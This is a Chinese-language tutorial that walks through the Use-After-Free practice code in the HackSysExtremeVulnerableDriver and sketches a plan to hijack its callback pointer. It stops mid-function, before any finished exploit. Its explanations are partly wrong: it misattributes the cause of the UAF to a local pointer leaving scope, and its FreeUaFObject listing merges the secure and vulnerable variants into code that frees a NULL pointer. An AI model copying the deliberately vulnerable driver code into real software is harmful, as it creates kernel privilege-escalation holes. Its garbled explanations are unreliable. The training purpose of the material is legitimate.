《 Windows Kernel Pwn 101 》
[Windows内核]
-进程(process)
进程(process)是计算机系统中的一种基本概念,它是一个正在运行的程序的实例。在操作系统中,进程是分配给程序资源的基本单位,每个进程都有自己的内存空间、代码、数据、堆栈和其他系统资源。在计算机系统中,每个进程都有一个唯一的标识符,称为进程ID(process ID,PID)。进程可以有一个或多个线程,线程是进程中执行代码的执行单元。在一个进程中,所有线程共享进程的内存空间和系统资源;
进程为多任务操作系统提供了实现并发执行的机制。通过将计算机系统资源分配给多个进程,操作系统能够使多个程序同时运行,从而提高计算机系统的利用率;
进程的创建、调度和终止都由操作系统内核进行管理。进程之间可以通过进程间通信机制来进行数据交换和协作。进程可以在操作系统的保护下运行,防止进程之间相互干扰和破坏。
-线程(thread)
线程(thread)是计算机系统中的一种执行单元,它是进程中的一个独立控制流,用于执行程序的指令序列。线程是操作系统调度的基本单位,每个线程都有自己的栈空间和寄存器,用于存储执行上下文和临时变量;
在一个进程中,可以创建一个或多个线程,这些线程共享进程的内存空间和系统资源。不同于进程,线程不拥有系统资源,而是与其他线程共享相同的资源,如内存、文件、网络连接等;
线程能够提高程序的并发性和响应性。在单核处理器系统中,通过使用多线程技术,可以让程序的不同部分在不同的时间段内交替运行,从而让程序看起来是同时运行的。在多核处理器系统中,多个线程可以在不同的核上同时执行,充分利用系统资源,提高程序的性能;
线程的创建、调度和管理都由操作系统内核进行管理。操作系统提供了一系列线程同步机制,如互斥锁、信号量、条件变量等,用于协调不同线程之间的执行,避免竞争和冲突。
-内存管理
内存管理是操作系统中的一个重要模块,它负责管理计算机系统中的内存资源。计算机系统中的内存资源是有限的,操作系统需要在不同的进程和线程之间分配和回收内存空间,以满足不同程序的内存需求;
内存管理涉及到的主要问题包括内存分配、内存回收、内存保护和内存共享等。内存分配是指在进程运行时为其分配所需的内存空间,内存回收是指在进程终止时将其占用的内存空间释放回系统,内存保护是指防止进程之间相互干扰和破坏,内存共享是指多个进程共享同一块内存区域;
操作系统通过虚拟内存技术来实现对内存资源的管理。虚拟内存是一种将计算机的硬盘空间用作内存扩展的技术,它可以让进程访问一个比实际内存空间更大的地址空间,从而满足进程对内存空间的需求。虚拟内存管理需要实现页面置换、页面映射和页面保护等机制,来保证程序能够正确地访问所需的内存空间。
-I/O管理
I/O(Input/Output)管理指的是计算机系统如何管理输入和输出设备的数据传输,是操作系统的一个重要功能。I/O管理通过管理设备驱动程序、I/O请求和缓存等机制,协调系统中各种输入输出设备的使用,使其能够高效地进行数据传输;
在计算机系统中,每个I/O设备都由一个设备驱动程序来管理。设备驱动程序是一个软件模块,它向操作系统提供I/O设备的抽象接口,使操作系统能够与设备进行通信;
当应用程序需要与设备进行数据交换时,它会向操作系统发送一个I/O请求。操作系统会将请求传递给设备驱动程序,设备驱动程序则负责将请求转换为特定设备的操作,并将结果返回给应用程序。为了提高I/O传输的效率,操作系统会使用缓存机制,将数据缓存到内存中,并在需要时将数据从内存中读取或写入到设备中;
I/O管理还包括处理中断和DMA(Direct Memory Access)操作。当设备完成一个操作或需要向系统发出信号时,它会向系统发送一个中断信号。操作系统会相应地处理中断请求,并通知相应的驱动程序进行处理。DMA操作则是一种数据传输方式,它允许设备直接访问系统内存,从而提高数据传输效率。
-驱动程序
驱动程序则是一种特殊的软件,用于控制计算机硬件设备。驱动程序通过操作硬件设备的寄存器、内存映射、中断等方式,实现对硬件设备的读取、写入、控制等操作,从而让操作系统能够与硬件设备进行交互。
[数据结构]
-进程和线程数据结构
每个进程都有一个EPROCESS结构,它包含进程的基本信息和进程所拥有的线程的列表。ETHREAD结构表示线程的信息,包括线程的状态、优先级和堆栈指针等;
除了这些基本信息,EPROCESS和ETHREAD结构还包含一些其他的信息,例如虚拟地址空间的描述、进程和线程的安全描述符等等。
-内存管理数据结构
Windows内核使用两个池来管理内存:paged pool和non-paged pool。Paged pool用于存储可以被分页的内存,例如用于存储驱动程序的数据结构。 Non-paged pool用于存储不能被分页的内存,例如用于内存映射I/O的缓冲区。
内存池由POOL_HEADER结构表示。每个POOL_HEADER结构都包含有关内存块的基本信息,例如内存块的大小、使用情况等等;
分配和释放内存使用ExAllocatePoolWithTag和ExFreePoolWithTag函数,这些函数使用TAG参数来标识分配的内存块,每个内存块都包含一个前导POOL_HEADER结构,并且可能包含其他的元数据,例如内存块的TAG、指向下一个和上一个内存块的指针等等。
-驱动程序结构
驱动程序是一种特殊的软件,它用于控制计算机硬件设备。驱动程序需要与内核交互以访问硬件资源,Windows驱动程序的主要结构包括驱动程序对象、设备对象和IRP对象;
驱动程序对象是驱动程序的主要对象,它包含驱动程序的入口点和一些驱动程序特定的信息;
设备对象是驱动程序与设备之间的接口,它用于管理设备和向驱动程序传递请求,每个驱动程序可以注册多个设备对象,用于管理不同类型的设备;
IRP对象是在Windows内核中用于表示I/O请求的结构,每个IRP对象都包含有关请求的信息,例如请求类型、输入缓冲区和输出缓冲区指针等等,驱动程序可以使用IRP对象来处理I/O请求,例如读取设备数据、写入设备数据等等;
IRP是I/O请求包(I/O Request Packet)的缩写,它是Windows操作系统中用来传递I/O请求和相关参数的数据结构。在Windows内核中,设备和驱动程序之间的通信是通过I/O请求包(IRP)进行的。当用户程序向设备发起I/O请求时,操作系统会创建一个IRP,并把请求信息填充到IRP中,然后把IRP发送给设备驱动程序。
在IRP中,包含了I/O请求的类型(读、写、控制等)、请求的数据缓冲区、请求的长度、请求的状态等信息,驱动程序收到IRP后,解析其中的请求信息,并执行相应的操作,然后把执行结果填充到IRP中,并把IRP返回给操作系统,操作系统再根据返回的结果对用户程序做出响应;
当一个驱动程序提供某种服务时,用户空间的应用程序可能需要与该驱动程序进行通信,
IOCTL (Input/Output Control) 是一种机制,允许用户空间的应用程序通过发送特定的控制代码来请求驱动程序执行某些操作。驱动程序可以解释这些控制代码,并根据控制代码来执行相应的操作,这些操作可能会更改设备状态,返回设备数据等。在驱动程序中实现 IOCTL 通常需要编写 IOCTL 处理程序,以便解释控制代码并执行相应的操作。
[前言]
了解一些win内核的基础知识以后,我将带大家开始无痛阅读代码(代码审计),这篇文章借助的是HackSysExtremeVulnerableDriver 中的 Use-After-Free 漏洞练习项目,
这篇文章最终会带你进入一个从代码审计到漏洞利用的旅程。
[Non-Paged Pool UaF]
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
//将驱动对象(DriverObject)的MajorFunction成员中的IRP_MJ_DEVICE_CONTROL函数指针设置为IrpDeviceIoCtlHandler函数。这样做是为了使驱动程序能够接收设备控制IRP并调用IrpDeviceIoCtlHandler函数来处理它们。
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
//定义了一个名为IrpDeviceIoCtlHandler的函数,它接受两个输入参数:一个指向设备对象(DeviceObject)的指针和一个指向IRP的指针(Irp),并返回一个NTSTATUS类型的值。
{
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
//IoControlCode表示设备I/O控制码,IrpSp表示IRP的当前栈位置指针,Status表示函数的返回状态。
UNREFERENCED_PARAMETER(DeviceObject); //宏,用于告诉编译器不使用这个参数。由于IrpDeviceIoCtlHandler函数没有使用DeviceObject参数,因此使用此宏可以避免编译器警告。
PAGED_CODE(); //宏,用于将函数标记为在分页池中执行,以便驱动程序符合Windows的内存管理规则。
IrpSp = IoGetCurrentIrpStackLocation(Irp); //使用IoGetCurrentIrpStackLocation函数获取IRP的当前栈位置,并将指针存储在IrpSp变量中。
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; //从IRP栈位置中获取设备I/O控制码,该码存储在IrpSp的Parameters.DeviceIoControl.IoControlCode成员中,并将其赋值给IoControlCode变量。
if (IrpSp) { //检查IrpSp指针是否为空,以确保IrpSp已正确设置。
switch (IoControlCode) { //使用IoControlCode变量的值来确定要执行的代码路径。
case HACKSYS_EVD_IOCTL_STACK_OVERFLOW: //switch语句的第一个分支,其中HACKSYS_EVD_IOCTL_STACK_OVERFLOW是设备I/O控制码的一个值。如果IoControlCode等于HACKSYS_EVD_IOCTL_STACK_OVERFLOW,则执行该分支的代码。
DbgPrint("****** message ******\n");
Status = StackOverflowIoctlHandler(Irp, IrpSp); //调用StackOverflowIoctlHandler函数来处理IRP
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS://switch语句的第二个分支,其中HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS是另一个设备I/O控制码的值。如果IoControlCode等于HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,则执行该分支的代码。
DbgPrint("****** message ******\n");
Status = StackOverflowGSIoctlHandler(Irp, IrpSp);//调用StackOverflowGSIoctlHandler函数来处理IRP
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT:
DbgPrint("****** message ******\n");
Status = AllocateUaFObjectIoctlHandler(Irp, IrpSp);
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_USE_UAF_OBJECT:
DbgPrint("****** message ******\n");
Status = UseUaFObjectIoctlHandler(Irp, IrpSp);
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT:
DbgPrint("****** message ******\n");
Status = FreeUaFObjectIoctlHandler(Irp, IrpSp);
DbgPrint("****** message ******\n");
break;
case HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT:
DbgPrint("****** message ******\n");
Status = AllocateFakeObjectIoctlHandler(Irp, IrpSp);
DbgPrint("****** message ******\n");
break;
//实际上这部分代码中,使用了switch-case语句是用于处理不同类型的IO控制码(IOCTL),前面提到过IOCTL是一种通用的机制,用于驱动程序与应用程序之间进行通信。在Windows内核中,驱动程序通常实现了多个不同的IOCTL处理程序,以响应应用程序对不同功能的请求。每个IOCTL都有一个唯一的控制码,通常定义在驱动程序的头文件中。switch-case语句根据接收到的IOCTL控制码,调用相应的IOCTL处理程序。例如,当IOCTL控制码为HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT时,调用AllocateUaFObjectIoctlHandler函数,用于处理分配User-After-Free对象的请求;当IOCTL控制码为HACKSYS_EVD_IOCTL_USE_UAF_OBJECT时,调用UseUaFObjectIoctlHandler函数,用于处理使用User-After-Free对象的请求;当IOCTL控制码为HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT时,调用FreeUaFObjectIoctlHandler函数,用于处理释放User-After-Free对象的请求;当IOCTL控制码为HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT时,调用AllocateFakeObjectIoctlHandler函数,用于处理分配Fake对象的请求,并且每个case语句都会输出一个调试信息,以便在驱动程序运行时查看调试信息。
Let's Start UAF
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
// 定义一个指向PUSE_AFTER_FREE类型的全局指针g_UseAfterFreeObject,并将其初始化为NULL。
NTSTATUS AllocateUaFObject() { // 定义一个名为AllocateUaFObject的函数,返回值为NTSTATUS类型。
NTSTATUS Status = STATUS_SUCCESS; // 定义并初始化Status变量为STATUS_SUCCESS
PUSE_AFTER_FREE UseAfterFree = NULL; // 定义一个指向PUSE_AFTER_FREE类型的指针UseAfterFree,并将其初始化为NULL。
PAGED_CODE(); // PAGED_CODE宏用于将函数标记为在分页池中执行,以便驱动程序符合Windows的内存管理规则。
__try { // 定义一个异常处理块。
DbgPrint("[+] Allocating UaF Object\n");
UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
sizeof(USE_AFTER_FREE),
(ULONG)POOL_TAG);
//这行代码是在从内核的NonPagedPool中分配一个新的内存块并将其指针赋值给指针变量 UseAfterFree。这里使用了ExAllocatePoolWithTag 函数,它接受三个参数,分别是:要分配的内存池类型,要分配的内存块大小,以及与该内存块关联的标签。这里要注意的是,我们使用强制类型转换将函数返回的 void * 指针转换为我们定义的 PUSE_AFTER_FREE 指针类型,这是因为该函数返回一个通用的 void * 指针,而我们需要将其转换为特定的类型,以便我们可以在之后的代码中访问它的成员。
//Non-Paged Pool是一块用于存储内核数据结构和代码的非分页内存区域,它与Paged Pool不同,Non-Paged Pool不允许操作系统将其页面交换到磁盘上,这意味着,即使在系统内存紧张时,Non-Paged Pool中的内存仍将始终保持在物理内存中,因此适用于那些需要持久存储的数据结构和代码;
//Non-Paged Pool用于存储那些不希望出现在磁盘上的内核数据结构和代码,例如,中断服务例程和驱动程序中的全局变量。相比之下,Paged Pool适用于那些较大的数据结构,例如文件系统缓存、文件对象和内存映射等等,因为Paged Pool允许操作系统将其页面交换到磁盘上,因此可以通过调度页回收机制,获得更多的物理内存空间。
//分页池和非分页池都是Windows内核提供的两种内存池,它们有以下不同点:
//分页池(Paged Pool):也称为虚拟池,用于分配用于页面交换的物理内存页面,当内存不足时,可以将某些页面移动到磁盘上,因此可以使内核保持更多的物理内存空间。分页池在Windows内核中是很常见的,比如内存分配、进程和线程管理等都使用分页池。分页池是有限的,分配的内存大小受到可用物理内存和分页文件大小的限制,分页池还可以分为paged和non-paged两种。
//非分页池(NonPaged Pool):也称为实际池,是一个内存池,它用于分配永久性的内核对象和数据结构,这些对象和数据结构必须一直存在于内存中,并且不能被分页。非分页池分配的内存是固定的,并且永久性的,因此分配内存时不需要考虑分页文件大小或者可用内存大小的限制,这也使得非分页池的内存访问速度比分页池更快。非分页池通常用于内核数据结构和驱动程序的存储。
//可以简单理解成,分页池用于分配可分页的内存,而非分页池用于分配不可分页的内存,它们各自有自己的用途和优缺点,在编写Windows驱动程序时,需要选择合适的内存池以适应不同的内存分配需求。
//分页(paging)是一种操作系统内存管理技术,它将物理内存分成大小相等的块,称为页面(page)。同样,虚拟内存也被划分成相同大小的页面。进程的虚拟内存空间中的每个页面都映射到物理内存中的一个页面。当进程访问虚拟内存时,系统会将相关的物理内存页面加载到内存中,以便进程可以访问它们。这个过程被称为页面调度(paging in)。
//分页技术使得多个进程可以共享同一个物理内存,也可以在物理内存不足的情况下,使用磁盘上的虚拟内存来扩展可用的地址空间。
//POOL_TAG 是一个用于标识内存池分配的标记(tag),可以用于在内存泄漏和内存分配问题排查中标识和跟踪内存池分配和释放的情况。当你在分配内存池时,可以指定一个 POOL_TAG 来标识这个内存块,当你需要释放这个内存块时,也要使用同样的 POOL_TAG。在 Windows 内核中,通常使用四个字节的字符串作为 POOL_TAG,例如 'MyTg',来标识内存池中的内存块,
//例如,可以使用以下方式定义POOL_TAG宏:
//----------------------------
//#define POOL_TAG 'MyTg'
//----------------------------
//在分配内存池时,该标签可以作为一个参数传递给相关的函数,以便跟踪哪些内存池分配被执行了。
//POOL_TAG和PAGED_CODE都是宏定义,但它们的作用和使用场景不同:
//POOL_TAG是用于标识分配内存块的标记,主要用于在调试和分析中区分内存块的来源和用途。它的值通常是一个四个字符的字符串,例如 'MyTg'。开发人员可以根据需要自定义POOL_TAG,但是需要保证它是唯一的,并且不会与其他代码中使用的POOL_TAG冲突;
//PAGED_CODE则是一个宏定义,用于标记代码是否是在分页池中执行。当使用PAGED_CODE时,编译器将生成一个特殊的代码序列,用于确保代码仅在操作系统可分页的代码段中运行,这有助于提高操作系统的性能和稳定性;
//因此,POOL_TAG主要用于标记内存块的来源和用途,而PAGED_CODE主要用于确保代码的执行位置和环境。
//ULONG是无符号长整型,它是C语言中的一种数据类型,通常占据4个字节(32位),而POOL_TAG是一个4个字节(32位)的标识符,因此定义其数据类型为ULONG是很自然的选择。ULONG是unsigned long的缩写,它可以表示的数据范围是0到4294967295,即可以存储0和正整数。在Windows操作系统中,ULONG通常用于表示无符号整数或标识符。
if (!UseAfterFree) {
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
// 如果无法分配内存池块,则打印一条错误消息,将Status设置为STATUS_NO_MEMORY并返回。
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
// 成功分配内存池块后,打印调试信息,显示内存池块的标记、类型、大小和地址。
}
// 用字符'A'填充缓冲区。
RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
// 将字符缓冲区以'\0'字符结尾。
UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
// 设置对象回调函数。
UseAfterFree->Callback = &UaFObjectCallback;
// 将UseAfterFree指针的地址赋值给全局变量g_UseAfterFreeObject。
g_UseAfterFreeObject = UseAfterFree;
// 打印一条调试消息,显示UseAfterFree和g_UseAfterFreeObject的地址和回调函数的地址。
DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
}
// 处理异常,打印异常代码。
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
// 返回Status。
综上可以了解这段代码定义了一个全局变量 g_UseAfterFreeObject,用于存储UseAfterFree对象的地址,初始值为 NULL;
AllocateUaFObject 函数用于分配一个 UseAfterFree 对象,并且它先定义了一个局部变量 UseAfterFree,并初始化为NULL,然后再通过调用ExAllocatePoolWithTag函数来分配一块大小为 sizeof(USE_AFTER_FREE)的NonPagedPool内存,并分配一个POOL_TAG作为该内存块的标识;
如果分配成功,则会将该内存块的地址赋值给 UseAfterFree 变量,并打印一些调试信息,之后使用 RtlFillMemory 函数将内存块填充为 0x41(即 'A' 字符),并使用空字符 '\0' 结尾,然后设置该对象的回调函数为 UaFObjectCallback;
最后,将UseAfterFree的地址赋值给全局变量g_UseAfterFreeObject,并打印调试信息,函数返回STATUS_SUCCESS;
这段代码中导致UAF漏洞的问题之一是当在函数 AllocateUaFObject()中执行 ExAllocatePoolWithTag()分配内存时,将内存块地址赋值给UseAfterFree变量,然后将 UseAfterFree的地址赋值给全局变量g_UseAfterFreeObject,这表示 g_UseAfterFreeObject 现在指向了这个动态分配的内存块;
在函数执行结束时,UseAfterFree 指针将超出范围并且不再有效,但g_UseAfterFreeObject 指针仍将指向该内存块,因为它是全局变量,并且其生命周期是整个程序的运行时间。如果在 AllocateUaFObject() 函数返回后尝试使用指向 g_UseAfterFreeObject 指针的引用,就可能访问已释放的内存,从而导致 Use-After-Free(UAF)漏洞的发生,如图:
UseAfterFree指针不再有效
|
v
AllocateUaFObject() -> UseAfterFree -- > [ 已释放的内存块 ] <- g_UseAfterFreeObject
^
|
全局变量指针仍然指向该内存块
代码示例:
// g_UseAfterFreeObject是全局变量,在AllocateUaFObject()中分配了一个内存块并将其地址赋值给g_UseAfterFreeObject
// 在AllocateUaFObject()返回后,尝试使用指向g_UseAfterFreeObject的引用
if (g_UseAfterFreeObject != NULL) {
DbgPrint("[+] Buffer Content: %s\n", g_UseAfterFreeObject->Buffer); // 这里会引发UAF漏洞,访问已释放的内存块
}
接下来再来看两个头文件:
// UseAfterFree.h
// 定义了结构体类型 _USE_AFTER_FREE
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback; // 回调函数指针
CHAR Buffer[0x54]; // 定义了一个字符数组Buffer,有0x54(十进制值为84)个元素
} USE_AFTER_FREE, PUSE_AFTER_FREE;
//定义了一个结构体变量USE_AFTER_FREE和一个指向该结构体的指针类型PUSE_AFTER_FREE
typedef struct _FAKE_OBJECT { //定义了另一个结构体类型_FAKE_OBJECT
CHAR Buffer[0x58]; // 定义了一个字符数组Buffer,有0x58(十进制值为88)个元素
} FAKE_OBJECT, PFAKE_OBJECT;
//定义了一个结构体变量FAKE_OBJECT和一个指向该结构体的指针类型PFAKE_OBJECT
// Common.h
typedef void (*FunctionPointer)();
//定义了一个函数指针类型为FunctionPointer,指向一个返回void类型的函数
然后我们看这一段代码:
NTSTATUS UseUaFObject() { //定义函数 UseUaFObject 并将其返回值设为 NTSTATUS 类型
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
//定义一个 NTSTATUS 类型的变量 Status 并将其初始化为 STATUS_UNSUCCESSFUL,如前面所说PAGED_CODE() 是一个封装的宏,用于在代码中标识分页代码,它会在代码中插入分页代码断言(paged-code assertion),分页代码断言用于在分页的上下文中发现不合适的代码行为,从而运行时检查出与内存管理相关的错误
__try { //开始一个__try代码块,用于捕获可能发生的异常
if (g_UseAfterFreeObject) { //开始一个__try代码块,用于捕获可能发生的异常。
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
//打印有关 UseAfterFreeObject 和回调函数的相关信息
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
} //如果g_UseAfterFreeObject->Callback函数指针不为空,则调用它
Status = STATUS_SUCCESS; //将Status设置为STATUS_SUCCESS,表示成功调用了回调函数
}
} //__try代码块结束
__except (EXCEPTION_EXECUTE_HANDLER) { //开始一个__except代码块,用于处理在__try代码块中捕获到的异常
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
//获取异常代码并打印
}
//__except代码块结束
return Status; //返回Status值
}
首先要看得出来这一段代码使用了 try 和 except 块,try 块用于尝试执行一些可能引发异常的代码;然后在此处,我们主要是调用 g_UseAfterFreeObject 所保存的回调函数,如果我们成功调用了回调函数,就将 Status 设置为 STATUS_SUCCESS,如果发生异常,except 块将处理该异常,将异常代码存储在 Status 变量中,并打印相应的错误信息;最后,该函数返回 Status 变量的值,这个值可能是 STATUS_UNSUCCESSFUL 或 STATUS_SUCCESS。
|
5. 返回 STATUS_UNSUCCESSFUL
什么是回调函数,回调函数是一种编程模式,它允许将一个函数作为参数传递给另一个函数。当需要执行某个任务时,传递给另一个函数的函数就被调用,回调函数通常在异步编程、事件驱动编程和自定义操作中使用。
让我们通过一个简单的C语言示例来理解回调函数:
typedef void (*CallbackFunction)(int);
//定义了一个名为CallbackFunction的函数指针类型,该类型的函数接受一个int类型的参数,并返回void。
void printNumber(int number) {
printf("Number: %d\n", number);
} //定义了一个示例回调函数printNumber,它接受一个int类型的参数number并打印它。
void executeCallback(CallbackFunction callback, int number) {
callback(number);
} //定义了一个名为executeCallback的函数,它接受一个CallbackFunction类型的回调函数作为参数和一个int类型的参数number。此函数通过调用传入的回调函数并将number作为参数执行任务。
int main() {
executeCallback(printNumber, 42);
//调用executeCallback函数,并将printNumber回调函数和整数42作为参数传递。
return 0;
}
在这个示例中,我们将printNumber函数作为回调函数传递给executeCallback函数,这允许executeCallback函数在执行时调用printNumber函数来完成任务。
再讲一下分页代码断言,分页代码断言(paged-code assertion)是一个运行时检查机制,用于检测 Windows 内核中发生的与内存管理相关的错误。在代码中插入分页代码断言后,会在执行分页操作时检查代码的正确性,如果检查发现代码行为不合适,分页代码断言会停止系统,并显示一个错误消息,指出发生异常的代码行。具体来说,分页代码断言会验证以下情况:
在非分页代码中执行了分页代码;
在分页代码中使用了不能在分页代码中访问的地址空间;
分页代码中修改了不应修改的数据结构等等。
大致能明白通过插入分页代码断言,可以帮助开发人员找出代码中的内存管理错误,并提供足够的信息来检测和修复这些错误即可。
ps:到这里能直接看明白代码的逻辑以后,恭喜你有了基本的通读代码能力,让我们梳理一下
我们可以看到UseUaFObject函数的主要工作就是检查Callback函数指针是否有效,如果有效,就调用它指向的函数,那么,我们是否可以将函数指针Callback替换为我们自己的函数呢?
在实现这个问题之前,我们先简要了解一下什么是UAF漏洞:
释放后重用(Use After Free)漏洞发生在程序对内存的管理上出现错误,
假设你有一个房子(对象),这个房子有一个门牌号(内存地址),这个房子有一个钥匙(指针),用来访问它。当你不再需要这个房子时,你把它拆除(释放内存),以便在这个地方建造新的建筑(在程序的其他地方重用内存)。然而,由于某种原因,你没有彻底销毁房子的钥匙(悬空指针)。
过了一段时间,你或其他人想再次访问这个房子,但房子已经不存在了,这个地方可能已经建了一个新的建筑。如果你试图使用钥匙(悬空指针)再次访问原来的房子,你实际上是在访问新建筑(不同的数据已写入原内存位置)。
在这个过程中,如果有人恶意篡改了新建筑(将恶意数据写入原内存位置),你可能会在访问新建筑时遇到问题,因为你原本期望访问的是原来的房子(原始数据),而现在你却访问了新建筑(被篡改的数据),这可能会导致程序错误甚至安全漏洞。
简而言之,释放后重用漏洞是由于程序在释放内存后仍然使用原来的指针(悬空指针)引起的,这可能导致程序访问已被释放的内存,而这些内存可能已经被其他数据覆盖。这种情况下,程序可能会处理不正确的数据,导致不可预知的行为或安全问题。
// UseAfterFree.c
NTSTATUS FreeUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL; // 初始化状态为不成功
PAGED_CODE(); // 用于分页内存的宏
__try {
if (g_UseAfterFreeObject) { // 如果 g_UseAfterFreeObject 不为空
DbgPrint("[+] Freeing UaF Object\n"); // 打印释放 UaF 对象的消息
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); // 打印内存池标签
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject); // 打印内存池块地址
//判断代码块中的 "ifdef" 宏,这里判断是否含有"SECURE"宏,如果有,则释放完内存后将"g_UseAfterFreeObject"的值置为"NULL",否则不设置
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
//这行代码是用于释放内存的,它释放由 g_UseAfterFreeObject 指向的内存,并使用内存池标签 POOL_TAG 进行标记,在这个例子中,我们释放之前分配给 g_UseAfterFreeObject 对象的内存;
//ExFreePoolWithTag:这是一个 Windows 内核函数,用于释放先前分配的内存池中的内存
//(PVOID)g_UseAfterFreeObject:这是一个指向要释放的内存区域的指针,即 UAF 对象的内存地址 //(ULONG)POOL_TAG:这是分配给内存池中的内存的标签,在分配和释放内存时,标签有助于识别和跟踪内存
g_UseAfterFreeObject = NULL;
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) { //获取异常代码并打印
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
这段代码中的函数 FreeUaFObject 的主要目的是释放一个名为 g_UseAfterFreeObject 的全局变量指向的内存。在尝试释放这块内存之前,会检查 g_UseAfterFreeObject 是否为 NULL。在安全版本中,释放内存后,将 g_UseAfterFreeObject 设置为 NULL,以避免释放后重用漏洞。在非安全版本中,g_UseAfterFreeObject 未设置为 NULL,导致悬空指针,从而引发释放后重用漏洞。
1 ├── 定义函数 "FreeUaFObject" , 它会返回一个 "NTSTATUS" 类型的值
2 │
3 ├── 将变量 "Status" 初始化成 "STATUS_UNSUCCESSFUL"
4 │
5 ├── 使用 "PAGED_CODE" 宏,在 Windows 操作系统内核中检查代码是否仅在分页代码下运行
6 │
7 ├── 进入 "try-except" 代码块
8 │ ├── 如果全局变量"g_UseAfterFreeObject" 非空
9 │ │ ├── 输出一系列提示信息
10 │ │ ├── 判断代码块中是否有 "SECURE" 宏
11 │ │ │ └── 若有,释放内存后将"g_UseAfterFreeObject"的值置为 "NULL"
12 │ │ └── 使用 "ExFreePoolWithTag" 函数释放内存空间,需要指定内存块的标识符 "POOL_TAG"
13 │ │
14 │ ├── 如果全局变量"g_UseAfterFreeObject" 为空,程序将不会执行任何操作
15 │ │
16 │ └── 根据程序的执行结果,将 "Status" 赋值成适当的 "NTSTATUS" 值
17 │
18 ├── 异常处理代码
19 │ └── 在 "try" 代码中出现异常时,记录异常代码并输出异常信息
20 │
21 └── 返回 "Status" 变量,表示程序执行状态
所以漏洞利用的思路是:
1.分配 UAF 对象
2.释放 UAF 对象
3.以某种方式替换刚刚分配 UAF 对象的精确内存地址处的函数指针
4.使用 UAF 对象
那么我们需要思考的是,在 UAF 对象释放后,使用什么来替换目标内存地址处的 UAF 对象?
UseAfterFree.c 中还包含了一个分配“fake object”的函数,继续看代码
// UseAfterFree.c
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
// 定义一个函数 AllocateFakeObject,接收一个 UserFakeObject 参数,该参数是一个指向 FAKE_OBJECT 结构的指针。
NTSTATUS Status = STATUS_SUCCESS;
PFAKE_OBJECT KernelFakeObject = NULL;
// 创建两个变量:Status 用于存储函数执行的状态,初始值为成功;
//KernelFakeObject 是一个指向 FAKE_OBJECT 结构的指针,初始值为 NULL。
PAGED_CODE(); // 确保当前代码在可分页的内存区域中
__try { //开始一个异常处理块
DbgPrint("[+] Creating Fake Object\n"); //输出一条调试信息,表示正在创建 FakeObject
// Allocate Pool chunk
KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
sizeof(FAKE_OBJECT),
(ULONG)POOL_TAG);
//为FakeObject分配内存空间,ExAllocatePoolWithTag 函数从内核内存池中分配大小为 sizeof(FAKE_OBJECT) 的内存,内存类型为 NonPagedPool,并使用 POOL_TAG 标签
if (!KernelFakeObject) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
